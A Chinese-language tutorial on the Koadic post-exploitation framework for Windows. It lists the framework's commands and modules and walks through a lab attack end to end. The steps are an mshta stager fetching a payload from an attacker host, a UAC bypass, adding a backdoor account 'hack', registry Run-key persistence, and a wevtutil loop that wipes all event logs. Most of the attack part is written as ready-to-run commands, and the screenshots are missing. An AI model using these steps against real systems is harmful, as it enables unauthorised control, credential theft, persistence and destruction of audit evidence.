一、简介

koadic是一个windows平台的后渗透rootkit框架。它与meterpreter和empire类似，主要的区别是koadic的操作主要使用Windows Script Host（JScript/VBScript），这样koadic可以兼容windows 2000到windows 10范围内的系统（windows 2000不需要service pack）。

 

二、操作步骤

（一）安装koadic

apt update  //更新软件清单

apt install koadic  //kali 2020中可以在线安装，但是kali 2021的安装源已删除了kodiac

可参考下面网址进行安装：

https://github.com/zerosum0x0/koadic

 

（二）koadic相关的概念

koadic  //运行

1、 可用的命令

api  //关闭/打开REST API

clear  //清屏

cmdshell  //通过命令行与僵尸进行交互

createstager  //为当前模块创建一个stager

creds  //显示收集到的凭据信息

domain  //显示收集到的域信息

edit  //进入文本编辑器，编辑当前模块的代码

exit  //退出程序

help  //显示一个命令的帮助信息

info  //显示当前模块的选项

jobs  //显示job相关的信息

kill  //通过ID杀死僵尸

listeners  //显示关于stager的信息

load  //重新加载所有的模块

pabst  //PBR Friday

paddy  //It's paddy, not patty

previous  //返回到使用过的上一个模块

pyexec  //evals some python

repeatjobs  //显示正在反复执行的job的信息

run  //运行当前模块

set  //为当前模块设置变量

sounds  //关闭/打开声音， sound(0|1)

spool  //将输出写入文件

taco  //taco time

unset  //为当前模块清除一个变量的值

use  //切换到其它模块

valentine  //Love is in the wire

verbose  //关闭/打开详情，verbose (0|1)

zombies  //列出已入侵的目标

 

2、 可用的模块

add_user

bitsadmin

bypassuac_compdefaults

bypassuac_compmgmtlauncher

bypassuac_eventvwr

bypassuac_fodhelper

bypassuac_sdclt

bypassuac_slui

bypassuac_systempropertiesadvanced

bypassuac_wsreset

clipboard

comsvcs_lsass

disk

download_file

enable_rdesktop

enum_domain_info

enum_printers

enum_shares

enum_users

exec_cmd

exec_psexec

exec_wmi

exec_wmic

hashdump_dc

hashdump_sam

implant/

killav

loot_finder

mimikatz_dotnet2js

mimikatz_tashlib

mshta

multi_module

office_key

password_box

reflectdll_excel

registry

regsvr

rundll32_js

schtasks

shellcode_dotnet2js

shellcode_dynwrapx

shellcode_excel

stage_wmi

stager/

system_createservice

tcp

thunderstruck

upload_file

user_hunter

voice

windows_key

wmi

wmic

可以看到，stager和implant是目录，其它都是单独的模块。其实，这些单独的模块在stager和implants目录中都能找到，单独列出来是为了便于操作。

 

3、 stager的概念

Stagers 用于“勾住（hook）”目标主机，使攻击者能够使用implants。

模块	描述
stager/js/mshta	使用MSHTA.exe HTMP应用程序，在内存中提供攻击载荷
stager/js/regsvr	使用regsvr3.exe COM+脚本，在内存中提供攻击载荷
stager/js/rundll32_js	使用rundll32.exe，在内存中提供攻击载荷
stager/js/disk	使用磁盘上的文件，提供攻击载荷
stager/js/wmic	使用WMIC，在内存中提供攻击载荷
stager/js/bitsadmin	在Bitsadmin作业中传输一个包含JS的.wsf攻击载荷并执行。

 

4、 implants的概念

目标主机被“勾住（hook）”后成为zombie，implants用于在zombie上执行任务。

模块	描述
implant/elevate/bypassuac_compdefaults	Bypass UAC via registry hijack for ComputerDefaults.exe.
implant/elevate/bypassuac_compmgmtlauncher	Bypass UAC via registry hijack for CompMgmtLauncher.exe.
implant/elevate/bypassuac_eventvwr	Uses enigma0x3's eventvwr.exe exploit to bypass UAC on Windows 7, 8, and 10.
implant/elevate/bypassuac_fodhelper	Bypass UAC via registry hijack for fodhelper.exe.
implant/elevate/bypassuac_sdclt	Uses enigma0x3's sdclt.exe exploit to bypass UAC on Windows 10.
implant/elevate/bypassuac_slui	Bypass UAC via registry hijack for slui.exe.
implant/elevate/system_createservice	通过SC.exe，将administrator会话提升到system会话。
implant/fun/zombie	将音量开到最大，并在隐蔽窗口中打开The Cranberries的某tube视频。
implant/fun/voice	使用text-to-speech播放一条消息。
implant/gather/clipboard	获取用户剪贴板中的内容。
implant/gather/comsvcs_lsass	使用comsvcs.dll创建LSASS的MiniDump，用pypykatz进行解析。
implant/gather/enum_domain_info	获取windows域的信息。
implant/gather/hashdump_dc	NTDS.dit文件中的域控制器hash。
implant/gather/hashdump_sam	从SAM中获取口令hash。
implant/gather/loot_finder	查找目标上的战利品。
implant/gather/user_hunter	使用Dynamic Wrapper X定位登陆到域控制器的用户。
implant/inject/mimikatz_dotnet2js	注入反射加载的DLL，运行powerkatz.dll。(@tirannido DotNetToJS).
implant/inject/mimikatz_dynwrapx	使用Dynamic Wrapper X，注入反射加载的DLL，运行powerkatz.dll。
implant/inject/mimikatz_tashlib	使用TashLib COM对象，执行任意shellcode。(Work in Progress!)
implant/inject/shellcode_dotnet2js	使用DotNet2JS技术执行任意shellcode。通过createremotethread 将shellcode作为新的线程注入到主机进程中。
implant/inject/shellcode_dynwrapx	使用动态的Wrapper X COM对象执行任意shellcode。
implant/inject/shellcode_excel	如果目标系统安装了execl，则可运行任意shellcode。
implant/manage/enable_rdesktop	启用目标系统的远程桌面。
implant/manage/exec_cmd	在目标系统中运行任意命令，并可选择是否接收输出信息。
implant/persist/add_user	添加本地账户或域账户。
implant/persist/registry	在注册表中添加Koadic stager攻击载荷。
implant/persist/schtasks	通过计划任务实现持久化。
implant/persist/wmi	通过WMI订阅实现持久化。
implant/phish/password_box	欺骗用户输入口令。
implant/pivot/exec_psexec	使用sysinternals中的psexec在其它机器上运行命令。
implant/pivot/exec_wmi	使用WMI在其它机器上执行命令。
implant/pivot/stage_wmi	使用WMI在其它机器上“勾住”一个僵尸。
implant/scan/tcp	使用HTTP扫描目标主机所在局域网的开放端口。
implant/util/download_file	从目标主机下载文件。
implant/util/multi_module	顺序执行多个implants。
implant/util/upload_file	从正在监听的服务器上传文件到目标主机。

 

（三）kodiac的使用案例

1、 使用stager/js/mshta模块获取zombie

stager/js/mshta模块是首次执行koadic时的默认模块，由于这个stager使用的是windows内置的mshta，是最安全的，因此可以先使用这个模块获取远程主机的控制权。

info  //查看有哪些参数需要设置

 

 

 

 

 

可以看到，默认情况下已经设置好了所有的参数，直接运行即可。

run  //运行

 

在被攻击主机上按照提示执行：

mshta http://192.168.43.234:9999/cXPJX

之后控制端就会获取zombie：

 

 

使用zombies命令查看受控端：

 

 

 

 

 

 

可以看到，当前只有一个zombie，IP地址为192.168.43.108。注意STATUS字段的值，zombie下线之后，其信息仍然可以看到，但是STATUS为DEAD。

 

使用zombies ID或zombies IP，都可以查看特定zombie的信息。

zombies 0

 

 

 

 

 

 

 

 

 

zombies 192.168.43.108

 

2、 权限提升

use implant/elevate/bypassuac_compmgmtlauncher

info  //查看需要设置的变量

 

 

 

run  //运行模块代码

 

 

得到了zombie 1。

 

zombies 1  //查看详情

 

 

 

 

 

 

 

 

 

可以看到，Elevated：YES，说明提权成功了，zombie 1是提权后的会话。

 

3、 添加后门账户

use add_user  //切换到add_user模块

info  //查看需要设置的变量

set username hack

set password hack

 

 

 

 

 

 

 

 

cmdshell 1  //使用cmdshell命令，进入zombie 1的命令行

net user  //查看账户信息

 

 

 

 

 

可以看到hack用户，说明前面的提权和添加用户都是成功的。

 

4、 设置后门程序自启动

use implant/persist/registry

info  //查看需要设置的变量

 

 

 

 

set payload 0  //payload设置为0即可

run

 

 

 

 

显示注册表项添加成功。

在zombie上查看，可以看到在HKCU/Software/microsoft/Windows/CurrentVersion/Run中存在名为K0adic的字符串值。

重启zombie主机，zombie关机后会显示zombie的STATUS为dead，但是随着zombie开机，会重新获取zombie，ID为2。

 

 

 

 

 

说明自启动的payload成功执行了。

 

5、 清除事件日志

对于刚刚我们的操作，可以运行“for /F “tokens=*” %1 in (‘wevtutil.exe el’) DO wevtutil.exe cl “%1″”命令，使用“implant/manage/exec_cmd”模块来清除所有事件日志。命令如下：

use implant/manage/exec_cmd

info

set zombie 3

set CMD for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"

run

 

 

 

这个模块没有输出，只能到zombie主机上查看效果。在zombie主机的“事件查看器—windows日志—系统”中可以看到，在执行implant/manage/exec_cmd的那个时间发生了日志清除事件，清除了RemoteDesktopServices-RemoteDesktopSessionManager/Admin日志、system日志和powershell日志。说明模块执行成功。